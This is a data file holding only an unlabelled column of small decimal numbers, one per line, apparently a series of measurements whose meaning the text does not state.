0.0809754
0.179944
0.259466
0.0478631
0.0467105
0.0469332
0.0478936
0.0476392
0.0485028
0.0481739
0.0477723
0.0485898
0.0493768
0.048876
0.0496458
0.0490826
0.0497967
0.0504819
0.0511516
0.0504077
0.0497928
0.0491445
0.0484875
0.0477966
0.0483461
0.0476147
0.0481197
0.0473529
0.0468949
0.0464068
0.0471033
0.0465723
0.0472284
0.0478735
0.0485015
0.0491059
0.0496756
0.0489526
0.0484211
0.0478562
0.0472231
0.0477537
0.0482515
0.0475792
0.0471099
0.0466091
0.046083
0.0466671
0.0472661
0.0466574
0.0460359
0.0454062
0.0459099
0.0452454
0.0457105
0.0461594
0.0465799
0.0469851
0.0473435
0.0465157
0.0467913
0.0459892
0.046178
0.0463359
0.0457113
0.0457626
0.0447528
0.0420404
0.086364
0.0922711
0.0931034
0.0814974
0.161801
0.175994
0.18325
0.208051
0.168705
0.181025
0.173465
0.168869
0.15544
0.168784
0.177998
0.20261
0.0755461
0.182678
0.238899
0.0760041
0.038204
0.101429
0.0821295
0.0827009
0.165695
0.176436
0.168498
0.164165
0.149882
0.168825
0.169436
0.197083
0.0720991
0.177271
0.234696
0.0718295
0.160509
0.171327
0.174429
0.159578
0.149659
0.0730309
0.194891
0.169727
0.169661
0.171072
0.157216
0.146057
0.0701622
0.190937
0.166363
0.166377
0.168859
0.154346
0.143422
0.0699894
0.187849
0.163148
0.162799
0.163916
0.149204
0.137452
0.0662961
0.180853
0.162051
0.152518
0.160523
0.183334
0.0663407
0.141323
0.033778
0.0852892
0.152533
0.160252
0.152624
0.149151
0.161224
0.0661839
0.21201
0.138297
0.149251
0.157562
0.178886
0.147652
0.156721
0.149975
0.146154
0.157277
0.0655615
0.206532
0.0746054
0.0908605
0.0359481
0.0698059
0.0361937
0.0743708
0.0789162
0.0789094
0.0691622
0.142905
0.153063
0.146923
0.14336
0.132556
0.143626
0.151896
0.172529
0.0631481
0.154372
0.201702
0.0716001
0.141854
0.150684
0.144143
0.140534
0.151775
0.0629241
0.199922
0.129751
0.140642
0.148494
0.168967
0.137399
0.147143
0.140943
0.137468
0.148568
0.0604635
0.194605
0.0665824
0.075929
0.0757663
0.0711842
0.0346433
0.0999802
0.0311362
0.0638107
0.0834827
0.0685118
0.135581
0.14455
0.141531
0.130949
0.144902
0.0604237
0.190914
0.122818
0.161764
0.140403
0.140934
0.142196
0.130691
0.12279
0.0587663
0.159487
0.138761
0.138839
0.139962
0.128496
0.120157
0.0585192
0.183156
0.0661637
0.130779
0.0805203
0.0300756
0.0730519
0.0638781
0.132168
0.184946
0.0618221
0.0729697
0.0685975
0.0333939
0.0963496
0.035718
0.0363936
0.0365918
0.0370119
0.0377853
0.0323338
0.104096
0.0664027
0.0868415
0.0379127
0.0383688
0.0386352
0.0395161
0.0375898
0.0764482
0.0766227
0.152996
0.217265
0.0833274
0.108683
0.0938669
0.035467
0.0698632
0.154727
0.220762
0.0871261
0.0796628
0.159465
0.225038
0.0794998
0.0390209
0.112979
0.036682
0.0975762
0.0903514
0.117278
0.0404309
0.0426152
0.0426811
0.0432048
0.0441729
0.0441699
0.0433199
0.0426034
0.0425152
0.0432479
0.0440271
0.0448018
0.0446479
0.0454432
0.0452228
0.0449708
0.0457292
0.0454265
0.0462016
0.0458386
0.0450921
0.0443637
0.0446753
0.0439508
0.044217
0.0444412
0.0436846
0.0438768
0.043127
0.0423851
0.042229
0.0429631
0.0427567
0.043467
0.0432234
0.0429456
0.0436478
0.0433244
0.0440181
0.0447227
0.0454369
0.0450174
0.0443303
0.0436501
0.0429803
0.0423197
0.0426427
0.0419739
0.0422579
0.0425183
0.0418291
0.0420471
0.0413598
0.0415401
0.0416902
0.0417973
0.0418634
0.0418811
0.0417257
0.0412265
0.041145
0.0402548
0.0397492
0.0398097
0.0404627
0.0404962
0.0412018
0.0411656
0.0404818
0.0398056
0.039832
0.0391851
0.0391415
0.0390178
0.0384669
0.0385336
0.0379413
0.037904
0.0373034
0.0372258
0.0366539
0.0360845
0.0359762
0.0354424
0.0353501
0.0351498
0.0344931
0.0322371
0.0661456
0.0703592
0.0705006
0.0616142
0.126513
0.135654
0.135864
0.15648
0.137383
0.125893
0.117557
0.0563289
0.179108
0.153707
0.133256
0.13342
0.134993
0.12311
0.114272
0.055939
0.177333
0.0637225
0.125478
0.077605
0.0290038
0.092925
0.0594244
0.031091
0.0636893
0.0676915
0.0677093
0.0588911
0.120322
0.129423
0.129255
0.149858
0.131768
0.122926
0.106141
0.0530071
0.143595
0.116063
0.124336
0.130007
0.148914
0.0610805
0.0743704
0.0278997
0.0894703
0.0567096
0.0300457
0.0614368
0.0615665
0.121885
0.128469
0.12219
0.119027
0.109653
0.119011
0.125859
0.143464
0.0530558
0.128993
0.17125
0.0528638
0.116889
0.125004
0.119269
0.116616
0.106972
0.115573
0.122879
0.140559
0.0526416
0.127119
0.167243
0.071329
0.0271183
0.0666541
0.0869899
0.0288292
0.057979
0.0578344
0.114771
0.122327
0.119345
0.110409
0.102918
0.0506625
0.137033
0.118536
0.119419
0.121461
0.110105
0.102399
0.0506772
0.134657
0.115717
0.116341
0.118372
0.10965
0.0941215
0.0478626
0.128218
0.102248
0.110599
0.116035
0.132577
0.048174
0.0249266
0.0612242
0.0555218
0.109191
0.155852
0.0557364
0.0278015
0.0798098
0.0260915
0.0639269
0.0831281
0.0505386
0.111787
0.159032
0.0685633
0.0305556
0.0300251
0.0304005
0.0308436
0.0310903
0.0316697
0.0319076
0.0321902
0.0327343
0.0330014
0.0333131
0.0339249
0.0341528
0.033601
0.0337671
0.0342724
0.0347587
0.0349012
0.0350096
0.0355381
0.0356032
0.0361609
0.0367248
0.0367583
0.0373379
0.0373588
0.0379518
0.0385495
0.0385335
0.0391738
0.0391182
0.0397501
0.0404231
0.0410876
0.0409846
0.0403233
0.0396671
0.0395489
0.040193
0.0408561
0.0406912
0.0400392
0.039404
0.0387854
0.0389215
0.0390315
0.0384148
0.0384912
0.0378864
0.0379259
0.0373439
0.0372978
0.0372307
0.0378144
0.0377172
0.0383111
0.0381832
0.0375972
0.0370269
0.0371397
0.0365781
0.0366633
0.0367258
0.0367636
0.0367714
0.0362191
0.0362071
0.0356467
0.0351157
0.0350801
0.0345655
0.0344854
0.0343938
0.0339
0.0339963
0.0335143
0.0334099
0.0332937
0.0331479
0.0326778
0.0324887
0.0320724
0.0316378
0.031429
0.0310406
0.0306417
0.0308441
0.0312334
0.0313948
0.0318151
0.0322398
0.0323788
0.0328343
0.0329581
0.0330478
0.0325944
0.0324973
0.0320721
0.0319608
0.0315344
0.0311426
0.0310105
0.0306202
0.0304598
0.0302728
0.0300471
0.0297924
0.0294012
0.0288817
0.0265913
0.050287
0.0474822
0.0975261
0.105229
0.111997
0.12857
0.104489
0.111886
0.108886
0.100279
0.113076
0.0469098
0.148591
0.0538916
0.0665553
0.0543096
0.0574996
0.0581191
0.0497113
0.100231
0.107773
0.106817
0.124872
0.0933195
0.110729
0.10169
0.0871147
0.0443688
0.119487
0.0951781
0.102096
0.107537
0.124033
0.0511584
0.0631394
0.0239025
0.047419
0.076749
0.0269416
0.0282991
0.0286494
0.0288354
0.0291202
0.0293886
0.0296873
0.0293728
0.0290758
0.0288512
0.0285592
0.0283004
0.0278974
0.0258368
0.0517826
0.0517995
0.100533
0.106887
0.103154
0.0950489
0.0881455
0.0441904
0.118672
0.101598
0.102783
0.106019
0.0967065
0.0823832
0.042925
0.113692
0.0899137
0.0967584
0.102194
0.118044
0.0475931
0.0499485
0.095003
0.101533
0.0975765
0.089522
0.10284
0.0423227
0.135448
0.0825203
0.112085
0.0980812
0.0928382
0.0987836
0.114855
0.0455877
0.086292
0.0541079
0.0528553
0.0500291
0.0251132
0.0711494
0.0223761
0.0422632
0.092435
0.0988249
0.0921384
0.0908864
0.0820477
0.0918331
0.0923031
0.11043
0.0418729
0.101788
0.133395
0.0580228
0.0466128
0.0465784
0.0888826
0.0949922
0.0987752
0.0884361
0.0736168
0.0394502
0.105117
0.0813126
0.0910123
0.090733
0.108694
0.0389022
0.0212847
0.0519934
0.087531
0.0930677
0.0975776
0.086393
0.0721205
0.0386032
0.103138
0.0800954
0.0889298
0.0884619
0.107219
0.0448854
0.0568196
0.0231122
0.0415998
0.025474
0.0256324
0.0240156
0.0681978
0.0522974
0.0262229
0.0265039
0.0269204
0.0269713
0.0268971
0.0245944
0.0460129
0.0588392
0.0229397
0.043449
0.0953964
0.137584
0.0569032
0.0741598
0.0272827
0.0277525
0.0280387
0.027791
0.027462
0.0272919
0.0275733
0.0273876
0.02715
0.0269811
0.0266973
0.0265732
0.0262284
0.0261188
0.02647
0.0267075
0.0268324
0.0270326
0.0272
0.0273928
0.0275911
0.0277984
0.0280309
0.0282937
0.0285032
0.0287751
0.02897
0.0292719
0.0295803
0.0299219
0.0301114
0.0297582
0.0294328
0.0295773
0.0299105
0.0302627
0.0303857
0.0307556
0.0308604
0.0312481
0.0316516
0.0317383
0.0321583
0.0322239
0.0326611
0.0331127
0.0335848
0.034058
0.0341079
0.0346113
0.0346268
0.0351396
0.0356695
0.0356617
0.0362046
0.03617
0.0361119
0.0355761
0.0356301
0.0351058
0.0351346
0.034623
0.0341266
0.034129
0.0336463
0.0336253
0.0331574
0.0331786
0.0331784
0.0336452
0.0336234
0.0341028
0.0345968
0.03455
0.0350556
0.0349855
0.0355013
0.036032
0.0359324
0.0364721
0.0363473
0.0368944
0.0374565
0.0380337
0.0386264
0.0392349
0.0398592
0.0404996
0.0411563
0.0409271
0.0415849
0.0413184
0.0410332
0.0416705
0.041352
0.0419814
0.0426201
0.0432674
0.0439219
0.0445819
0.0441372
0.0447722
0.0442973
0.0449026
0.045502
0.0460916
0.045537
0.044976
0.044404
0.0438248
0.0432413
0.0436891
0.0430807
0.0435038
0.042874
0.0424743
0.0420714
0.0426561
0.0422316
0.0427956
0.0433569
0.0439128
0.0444604
0.0449963
0.0455168
0.0460173
0.0464931
0.0469388
0.0473486
0.0477163
0.0480359
0.0483016
0.0485083
0.0486525
0.0487325
0.0487494
0.0481731
0.0481247
0.0480223
0.0474366
0.0475595
0.0476355
0.0471329
0.047032
0.0468899
0.0467057
0.0472658
0.0478648
0.047653
0.0473895
0.0470781
0.046477
0.0467837
0.0470476
0.0464797
0.0462133
0.0459085
0.0453694
0.0456743
0.045945
0.0461795
0.046377
0.0465372
0.0466609
0.0462159
0.0460712
0.0458938
0.0454365
0.0456303
0.0457945
0.0453936
0.045211
0.0450015
0.0447649
0.0452129
0.0456832
0.0454394
0.0451633
0.0448563
0.0443664
0.0446768
0.0449594
0.0445013
0.0442114
0.0438963
0.0435574
0.0440298
0.0445205
0.0450325
0.0455685
0.0461311
0.0467233
0.04633
0.0459032
0.0454479
0.0448993
0.0453381
0.0457501
0.0451963
0.0447957
0.04437
0.043923
0.0444378
0.0449687
0.04447
0.0439557
0.0434294
0.0429539
0.0434617
0.0439574
0.0434579
0.0429779
0.0424861
0.0420255
0.0425038
0.0429705
0.0434231
0.0438586
0.0442741
0.0446664
0.044158
0.0437716
0.0433638
0.0428838
0.0432862
0.043669
0.0431966
0.0428156
0.0424167
0.042002
0.0424642
0.0429373
0.0424948
0.042039
0.0415722
0.0411254
0.0415827
0.0420297
0.0415735
0.0411335
0.0406839
0.0402438
0.0406873
0.0411221
0.0415463
0.041958
0.0423551
0.0427359
0.0430985
0.043441
0.043762
0.0440601
0.0443343
0.0445839
0.0448087
0.0450089
0.0446352
0.0444178
0.0441776
0.0437816
0.0440371
0.0442715
0.0439307
0.0436802
0.04341
0.0431203
0.0435051
0.0439147
0.0436293
0.0433222
0.0429942
0.0425548
0.0428909
0.0432079
0.0428115
0.0424844
0.0421399
0.0417785
0.0421307
0.0424669
0.0427861
0.0430876
0.0433707
0.0436351
0.0433873
0.043111
0.0428167
0.0425617
0.0428673
0.0431557
0.0422395
0.042505
0.0421764
0.0418319
0.0414725
0.0411803
0.0415476
0.0419009
0.0407999
0.0410993
0.0414114
0.0417793
0.042201
0.0426466
0.0422808
0.0418986
0.0415014
0.041047
0.0414455
0.0418307
0.0414038
0.0410149
0.0406139
0.0402025
0.0406367
0.0410912
0.0406697
0.0402386
0.0397996
0.0393517
0.0397875
0.0402163
0.0397822
0.0393544
0.0389207
0.03854
0.0389726
0.0394001
0.039821
0.0402341
0.0406378
0.0410307
0.0407135
0.0403166
0.0399098
0.0395952
0.0400061
0.0404082
0.0391767
0.0394945
0.0390723
0.0386443
0.038212
0.0378895
0.0383227
0.0387521
0.0374541
0.0377767
0.0381037
0.0384825
0.0389106
0.0393544
0.0397933
0.0402266
0.0406599
0.0410967
0.0415383
0.0419851
0.0424371
0.0428942
0.042353
0.0418082
0.0412619
0.0416669
0.0411036
0.0414891
0.0418714
0.0422491
0.0416318
0.0410219
0.0404208
0.0407329
0.0401248
0.0404081
0.0406766
0.0400488
0.0402844
0.0396569
0.0390445
0.0388354
0.039435
0.0391963
0.0397957
0.039528
0.039248
0.0398293
0.039524
0.0400993
0.040683
0.0412742
0.0409105
0.0403375
0.0397705
0.0392107
0.038659
0.0389577
0.038401
0.0386772
0.038943
0.03837
0.0386099
0.0380367
0.03825
0.0384472
0.0378649
0.0372973
0.0367442
0.0365777
0.0371212
0.0376786
0.0374767
0.0369299
0.0363961
0.0362007
0.0367245
0.0372607
0.0378092
0.037569
0.0381175
0.0378544
0.0375819
0.0381159
0.0378227
0.0383528
0.0388906
0.0394355
0.0399867
0.0405429
0.0401719
0.0407159
0.0403263
0.0408563
0.0413861
0.0419137
0.0414774
0.0409652
0.0404504
0.0399348
0.0394199
0.0397974
0.0392712
0.0396312
0.0390948
0.0387487
0.0383973
0.0389069
0.0385389
0.0390395
0.0395418
0.0400443
0.0405457
0.0410443
0.0406147
0.040128
0.0396385
0.0392329
0.0397119
0.0401881
0.0397636
0.0392964
0.0388266
0.0383556
0.0387525
0.0391477
0.038657
0.0381676
0.0376809
0.0380412
0.0375472
0.0378918
0.0382309
0.038564
0.0380393
0.0375217
0.0370117
0.037301
0.0367881
0.0370575
0.0373181
0.0367925
0.037032
0.0365066
0.0359928
0.0357738
0.0362777
0.0360387
0.036543
0.0362843
0.0360165
0.0365098
0.0362229
0.0367142
0.037213
0.0377188
0.0373914
0.0368968
0.0364087
0.0359277
0.0354541
0.0357397
0.0352648
0.0355321
0.0357901
0.0353056
0.0355446
0.035061
0.035281
0.0354907
0.0356892
0.0358753
0.0360478
0.0362054
0.0356808
0.0358148
0.0352967
0.0354076
0.0348974
0.0344013
0.0344843
0.0339975
0.0340592
0.0335827
0.0331203
0.0331584
0.0327075
0.032726
0.0327255
0.0327044
0.032266
0.031842
0.0318013
0.0313931
0.0313324
0.030941
0.0305636
0.0304868
0.0301275
0.0300317
0.0296917
0.0297819
0.0298495
0.0302
0.030251
0.0306184
0.0309989
0.0310358
0.0314321
0.0314511
0.0318621
0.0322868
0.0322877
0.031863
0.0314517
0.0310533
0.0310534
0.0306685
0.0306527
0.0302824
0.0299241
0.0298963
0.0295535
0.0295116
0.0294496
0.0293657
0.0292582
0.0291292
0.0288287
0.0286749
0.0284089
0.0282389
0.0279871
0.0281484
0.028279
0.0285468
0.0286622
0.0289533
0.0290531
0.0287534
0.0284655
0.0283841
0.028118
0.0280246
0.0279061
0.0277575
0.0275506
0.0273471
0.0272026
0.0270412
0.0268934
0.0267526
0.0265938
0.0263926
0.0261071
0.0257235
0.0237651
0.0462473
0.0459346
0.0852572
0.0906664
0.0952713
0.0846733
0.075029
0.0386143
0.0966255
0.0767548
0.0373577
0.104547
0.0898317
0.0850898
0.0918118
0.10881
0.0510526
0.0807132
0.0209551
0.0512931
0.0671332
0.0228918
0.0400343
0.0861413
0.0923991
0.0866676
0.0800784
0.0737221
0.0388574
0.103257
0.0890345
0.0848938
0.0867214
0.106464
0.0435557
0.0791258
0.0465653
0.085616
0.0903276
0.0959857
0.0834319
0.0762514
0.0404013
0.125307
0.0983511
0.0787931
0.0434651
0.108752
0.105124
0.0948013
0.107712
0.113204
0.0403725
0.0823205
0.0218284
0.0546775
0.0921803
0.108419
0.105406
0.0894359
0.106626
0.0441587
0.134619
0.093175
0.141436
0.104762
0.102336
0.105827
0.137248
0.0509253
0.0612777
0.0241025
0.0441034
0.0252382
0.0511523
0.0516951
0.101113
0.11127
0.118291
0.102859
0.115237
0.0484091
0.131466
0.0956299
0.0958775
0.172424
0.225489
0.189347
0.104676
0.278064
0.243268
0.222775
0.253142
0.290304
0.111174
0.200648
0.119167
0.235714
0.258527
0.252453
0.260831
0.268889
0.302403
0.250975
0.26506
0.259511
0.252443
0.248456
0.249486
0.242749
0.249628
0.236929
0.232539
0.225571
0.223525
0.226518
0.234145
0.087125
0.0452098
0.11335
0.215591
0.297224
0.100196
0.240259
0.322078
0.1041
0.257013
0.341361
0.120602
0.12532
0.0499426
0.112458
0.149324
0.111728
0.0506944
0.055248
0.0439475
0.0453224
0.0360515
0.0385398
0.029244
0.0344129
0.0252415
0.0334181
0.0154434
0.0172101
0.0162537
0.0155251
0.0161244
0.0165313
0.0168095
0.0174684
0.0172542
0.0168883
0.0178035
0.0180706
0.018184
0.0189346
0.0189732
0.0189166
0.0186636
0.0175319
0.0202213
0.0223641
0.0529774
0.0563895
0.0522896
0.0246186
0.0697542
0.0256647
0.0520331
0.118885
0.142024
0.0625409
0.110278
0.129376
0.0462058
0.0236666
0.057871
0.0747367
0.02692
0.0265121
0.0261833
0.026573
0.0264484
0.0259563
0.0258126
0.0241834
0.0475245
0.0501206
0.0524725
0.0689008
0.0585063
0.0234671
0.042693
0.0545382
0.0254786
0.0251683
0.0252629
0.0258432
0.0258005
0.025897
0.0260359
0.0258705
0.0260928
0.0261422
0.0261933
0.026177
0.0262809
0.0261443
0.0259786
0.0261362
0.0261829
0.0261635
0.0261366
0.0261238
0.0261305
0.0263496
0.0263102
0.0262767
0.0263618
0.0264399
0.0265138
0.0266373
0.0265366
0.0264152
0.0262651
0.0262723
0.026247
0.0261871
0.0260364
0.0258061
0.0256582
0.0259196
0.0261361
0.0260596
0.0258102
0.0255372
0.0254468
0.0257215
0.0259862
0.0262285
0.0264311
0.0265963
0.0267413
0.0268846
0.0269844
0.0271607
0.0272559
0.0274618
0.0276777
0.0277823
0.0275501
0.0273244
0.0273692
0.0276137
0.027862
0.027919
0.028188
0.0282371
0.0285251
0.0288222
0.02913
0.0291856
0.0288705
0.0285651
0.0282679
0.0279771
0.0279563
0.0276801
0.0276557
0.0273947
0.027406
0.0274073
0.0276908
0.0276912
0.0279848
0.0282833
0.028588
0.0289005
0.0292219
0.029241
0.0295773
0.029585
0.0299349
0.0302959
0.0302934
0.0306674
0.0306512
0.0310373
0.0314356
0.0318464
0.0322703
0.0322363
0.0326716
0.0326198
0.0330655
0.0335247
0.0334508
0.0339192
0.0338257
0.0343025
0.0347927
0.0346727
0.0351699
0.0350281
0.0355313
0.0353674
0.0348721
0.0343894
0.034538
0.0340606
0.0341887
0.0337177
0.0332595
0.0333622
0.0329115
0.0329956
0.0325534
0.0321239
0.0321871
0.0317671
0.031814
0.0314044
0.0313593
0.0313015
0.0317067
0.0316337
0.0320476
0.0324734
0.0323802
0.0328137
0.0327029
0.0331433
0.0335958
0.0334606
0.0339189
0.0337644
0.0342277
0.0347029
0.03519
0.0350003
0.0345214
0.0340539
0.0338689
0.0343286
0.0347993
0.0345879
0.0341253
0.0336732
0.0332316
0.0334201
0.0335978
0.033153
0.0333127
0.0328725
0.0330141
0.0325793
0.0324436
0.0322962
0.0327192
0.0325547
0.032982
0.0328004
0.0323794
0.0319686
0.0321378
0.0317312
0.031884
0.0320257
0.0321559
0.0322742
0.0318571
0.0319585
0.0315485
0.0311497
0.0312315
0.0308405
0.0309078
0.0309635
0.031007
0.0306214
0.030247
0.0302766
0.029913
0.0299306
0.0295786
0.0292365
0.0292452
0.0289149
0.0289145
0.0285965
0.028593
0.0285794
0.0289037
0.0288825
0.0292166
0.0295599
0.0295302
0.0298835
0.0298431
0.0302058
0.0305791
0.0305253
0.0301537
0.0297925
0.0297319
0.0300911
0.0304605
0.030385
0.030762
0.0306724
0.0310565
0.0314513
0.0313424
0.0317437
0.0316186
0.0314822
0.0310907
0.0312222
0.0308361
0.0309519
0.0305718
0.0302018
0.0302987
0.0299352
0.0300183
0.0296616
0.0295815
0.0294912
0.0298417
0.0297378
0.0300942
0.0304602
0.0303378
0.0307094
0.0305718
0.0309484
0.0313348
0.0311768
0.0315678
0.0313938
0.0317889
0.0321937
0.0326082
0.0330327
0.0334672
0.0339117
0.0343663
0.0348309
0.034591
0.0350569
0.0347986
0.0345311
0.0349885
0.0347038
0.0351605
0.0356246
0.0360959
0.0365738
0.0370578
0.0367185
0.0371975
0.0368431
0.0373165
0.0377932
0.0382723
0.0378847
0.037415
0.0369475
0.0364833
0.0360231
0.0363738
0.0359094
0.0362446
0.0357764
0.0354504
0.0351174
0.0355676
0.0352164
0.0356634
0.0361152
0.0365709
0.0370298
0.037491
0.0379535
0.0384162
0.038878
0.0393375
0.0389046
0.0384516
0.0379967
0.0375688
0.0380178
0.0384655
0.038041
0.0375976
0.0371535
0.0367096
0.0371196
0.0375412
0.0370862
0.0366327
0.0361817
0.035781
0.0362248
0.0366713
0.0362671
0.0358267
0.0353893
0.0350393
0.0354714
0.0359067
0.0363446
0.0367843
0.0372247
0.0376649
0.0373393
0.0369015
0.0364637
0.0361448
0.0365808
0.0370172
0.0357104
0.0360272
0.0355928
0.0351613
0.0347334
0.0344262
0.0348505
0.0352789
0.0340066
0.0343098
0.0346113
0.0349557
0.0353408
0.0357339
0.0352903
0.0348512
0.0344175
0.0347746
0.0343386
0.0346731
0.0349975
0.0353145
0.0348594
0.0344115
0.0339712
0.0342551
0.0338145
0.0340823
0.0343413
0.0338931
0.0341347
0.0336879
0.0332508
0.0330245
0.0334542
0.0332109
0.0336421
0.0333824
0.0331145
0.0335388
0.0332553
0.0336797
0.0341118
0.0345511
0.0342352
0.0338041
0.0333801
0.0330697
0.0334858
0.0339088
0.0335678
0.0339896
0.0336272
0.0340473
0.0344733
0.0349047
0.0345265
0.0341023
0.0336834
0.0332705
0.0328639
0.0332132
0.0328059
0.0331527
0.0327445
0.0324054
0.0320707
0.0324639
0.0321562
0.0325499
0.0329502
0.0333569
0.0337696
0.0341878
0.0338911
0.0334776
0.03307
0.0327798
0.0331829
0.0335918
0.0323831
0.0326685
0.0322734
0.0318851
0.0315037
0.0317694
0.0313898
0.0316847
0.0320121
0.0323434
0.032661
0.0329636
0.0325547
0.0328388
0.0324304
0.0326986
0.0329588
0.0325439
0.0327886
0.0323754
0.0326042
0.0328235
0.0324057
0.0319976
0.031599
0.0313992
0.0317916
0.0321932
0.0319713
0.0315762
0.0311902
0.0309726
0.0313522
0.0317406
0.0321378
0.0318921
0.0322911
0.0320302
0.0317609
0.0321538
0.0318662
0.0322597
0.0319499
0.0315639
0.0311857
0.0314806
0.031103
0.0313762
0.0316384
0.031255
0.0315018
0.0311201
0.030747
0.0305133
0.0308799
0.0306313
0.0309996
0.0307335
0.0304529
0.0308153
0.0305139
0.0308769
0.0312477
0.0316261
0.031306
0.0309348
0.0305712
0.0302152
0.029867
0.0301587
0.0298114
0.0300984
0.030372
0.0300186
0.0302713
0.0299194
0.0301551
0.0303824
0.0306018
0.0308132
0.031016
0.0312098
0.0308299
0.0310084
0.0306323
0.0307955
0.0304237
0.0300613
0.0302047
0.0298471
0.0299759
0.0296234
0.02928
0.0293908
0.0290529
0.02915
0.0292372
0.0293147
0.0293826
0.0294412
0.0294905
0.0291475
0.0291867
0.0288523
0.0285267
0.028557
0.0282397
0.028263
0.0282788
0.0282861
0.0279823
0.027684
0.027391
0.0274018
0.0271159
0.0271259
0.0271321
0.0271326
0.0271237
0.0271
0.0270553
0.0268517
0.0268109
0.0266277
0.0264206
0.0263972
0.0266347
0.026627
0.0268696
0.0268724
0.026867
0.0265978
0.0266131
0.026347
0.026371
0.0261057
0.026141
0.0261834
0.0259237
0.0256545
0.0253809
0.0253335
0.0256049
0.0258745
0.0258374
0.0255688
0.0252996
0.0252756
0.0255427
0.0258099
0.0260783
0.0260572
0.0263271
0.0263106
0.0265833
0.0268576
0.0268465
0.0265696
0.0262962
0.0260264
0.0260405
0.0257734
0.0257894
0.0255234
0.0252584
0.0252456
0.0255086
0.0254965
0.02576
0.0257477
0.0260132
0.0262825
0.026556
0.0268339
0.0268197
0.0271028
0.0270866
0.0273757
0.0276706
0.0279716
0.0279539
0.0276517
0.0273561
0.0273319
0.0276275
0.02793
0.0278998
0.0282094
0.028172
0.0284887
0.0288138
0.0287669
0.0290995
0.0290427
0.028977
0.0286482
0.0287118
0.0283897
0.0284431
0.0281276
0.0278201
0.0278633
0.027562
0.0275977
0.0273027
0.027268
0.0272274
0.0275201
0.0274715
0.0277699
0.0280758
0.0280162
0.0283281
0.0282581
0.0285759
0.0289021
0.0288178
0.0284943
0.0281791
0.027872
0.0279485
0.0276467
0.0277122
0.0274159
0.0271268
0.0271805
0.0268964
0.0269417
0.0269809
0.0270145
0.027043
0.0270668
0.0267836
0.0268032
0.0265252
0.0265415
0.0262683
0.0262525
0.0262342
0.0265062
0.0264836
0.0267603
0.0267327
0.026457
0.0261872
0.0262126
0.0259469
0.0259673
0.0259846
0.0259996
0.0257351
0.0254744
0.0254855
0.0252264
0.0252354
0.0249765
0.0249838
0.0249936
0.0250076
0.025028
0.0250578
0.0251008
0.0251615
0.0252458
0.0253619
0.0255125
0.0257145
0.0259484
0.0262122
0.025848
0.0255613
0.0250375
0.0252376
0.0254767
0.0257672
0.0247621
0.0248697
0.0230883
0.0220355
0.020455
0.0201533
0.0199087
0.0196849
0.0203793
0.0207768
0.021286
0.0221057
0.0214503
0.0209586
0.0205671
0.020057
0.0194768
0.0188495
0.0182099
0.0175856
0.0169934
0.0171302
0.0172314
0.0173082
0.0177349
0.0177063
0.01766
0.0182069
0.0181887
0.0181633
0.0181353
0.0177526
0.0173679
0.0174154
0.0174542
0.0174867
0.0177731
0.0177695
0.0177632
0.0181069
0.0180793
0.0180534
0.0183258
0.018381
0.0184424
0.0185105
0.0185858
0.0186685
0.0187578
0.0192925
0.0191326
0.0189935
0.0193785
0.019568
0.0197907
0.0202384
0.0199656
0.0197359
0.0195395
0.019216
0.0188723
0.0187659
0.0186722
0.0185892
0.0188441
0.0189522
0.0190751
0.0193697
0.0192219
0.0190923
0.018978
0.0187486
0.0185155
0.0182763
0.0180294
0.0177753
0.0175148
0.0172491
0.0169771
0.0166999
0.016411
0.0161049
0.0162388
0.0165232
0.0166265
0.0163624
0.0164767
0.0167223
0.0169524
0.0168749
0.0167911
0.0170471
0.0171109
0.0171696
0.0172236
0.0170242
0.0168114
0.0165829
0.0166818
0.0168946
0.0169718
0.0167742
0.0168605
0.0170432
0.0172082
0.017152
0.0170907
0.0172734
0.0173191
0.0173611
0.0173995
0.0172599
0.0171092
0.0169408
0.0170152
0.0171698
0.0172253
0.0170839
0.017147
0.017276
0.0173904
0.0173506
0.0173072
0.0174347
0.017467
0.0174965
0.0175235
0.017427
0.0173224
0.017205
0.0172579
0.0173648
0.0174039
0.0173065
0.0173512
0.0174397
0.0175182
0.017491
0.0174606
0.0175478
0.0175692
0.0175878
0.017652
0.0176417
0.017629
0.0176142
0.0175971
0.0175779
0.0175567
0.0175333
0.0175076
0.0174796
0.0174489
0.0174156
0.0173794
0.0173399
0.0172967
0.0175395
0.0175618
0.0175821
0.0177792
0.017778
0.0177767
0.0180077
0.0179881
0.0179706
0.0179548
0.0177805
0.0176008
0.017618
0.0176338
0.0176482
0.0177839
0.0177829
0.0177817
0.0179405
0.0179275
0.0179154
0.0180448
0.0180691
0.0180955
0.0181245
0.0181566
0.0181922
0.0182319
0.01845
0.0183915
0.0183391
0.0185213
0.0185886
0.018664
0.0188769
0.0187869
0.0187066
0.0186346
0.0184609
0.018292
0.0182495
0.0182109
0.0181758
0.0183129
0.0183574
0.0184065
0.01857
0.0185118
0.0184592
0.0184117
0.0182725
0.0181436
0.0180224
0.017904
0.0177845
0.0176612
0.0176729
0.0176832
0.017692
0.017783
0.0177841
0.0177846
0.0178931
0.0178826
0.0178722
0.0178618
0.0177811
0.0176994
0.0177052
0.0177094
0.017712
0.0177701
0.0177747
0.0177784
0.0178513
0.0178407
0.0178298
0.0178969
0.0179125
0.0179287
0.0179456
0.0179633
0.0179818
0.0180015
0.018114
0.0180867
0.0180615
0.0181714
0.0182021
0.0182356
0.0183686
0.0183295
0.018294
0.0182617
0.0181434
0.018038
0.0180163
0.017996
0.0179772
0.0180729
0.0180943
0.0181177
0.0182322
0.0182053
0.0181807
0.0182942
0.0183231
0.0183545
0.0183885
0.0184257
0.0184665
0.0185112
0.0185604
0.0186146
0.0186746
0.0187409
0.0188146
0.0188966
0.0189882
0.0190906
0.0192058
0.0193357
0.0194829
0.0196506
0.0198429
0.0200649
0.0203244
0.0206268
0.0209865
0.0214205
0.0219575
0.0226396
0.0235545
0.0237271
0.024623
0.0245255
0.0244425
0.0238395
0.0238035
0.023143
0.0229514
0.0223127
0.0217825
0.0220625
0.0225642
0.0227495
0.0232697
0.0233571
0.0238567
0.0243726
0.0248763
0.0253409
0.0251647
0.0247534
0.0243158
0.0242716
0.0246622
0.0250291
0.024932
0.0245944
0.0242394
0.0238759
0.0238711
0.0238659
0.023422
0.0229987
0.0228895
0.0224583
0.022283
0.0218666
0.0216267
0.021338
0.0209613
0.020641
0.0203664
0.0206392
0.0209243
0.0212511
0.0214996
0.021175
0.0208879
0.0206334
0.0203904
0.0201272
0.0199181
0.0197354
0.0195742
0.0198055
0.0199778
0.020172
0.0204074
0.0202064
0.0200264
0.0202321
0.0204184
0.0206251
0.0208548
0.0211104
0.0213954
0.0217129
0.0220663
0.022233
